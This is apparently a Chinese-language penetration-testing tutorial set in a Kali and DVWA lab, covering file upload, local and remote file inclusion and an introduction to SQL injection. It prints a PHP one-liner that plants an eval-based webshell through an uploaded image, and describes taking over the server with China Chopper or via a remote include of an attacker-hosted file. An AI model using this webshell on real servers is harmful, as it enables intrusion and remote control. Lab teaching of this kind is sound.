网络安全2:各种经典渗透方式合集

实验环境是 kali+owasp靶机+win10

强烈建议kali下载2018版的，不要下载新版的，新版的删除了很多软件。

文件上传漏洞

文件包含

有一些主页的php代买中包含了 include *，当上传了一些包含能够生成webshell(一句话木马)的文件后，由index.php自动执行，生成木马。

本地文件包含漏洞

1 向图片中添加一句话病毒

<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[qt]);?>')?>

2. 使用owasp靶机上的dvwa页面上传带有病毒代码的图片

3. 使用中国菜刀控制服务器

远程文件包含

这种方式是利用服务器访问远程服务器中的文件（包含一句木马生成代码），用于在服务器中生成一句代码的shell

1 在远程服务器（kali）中创建文件

 2 记住文件在远程服务器中的地址，和ip地址

在dvwa中用http://ip地址/文件名代替include

执行

3 利用中国菜刀控制服务器。

sql注入

• 对于web应用程序而言，用户核心数据存储在数据库中，例如MySQL、SQL Server、Oracle;
• 通过SQL注入攻击，可以获取、修改、删除数据库信息，并且通过提权来控制web服务器等其他操作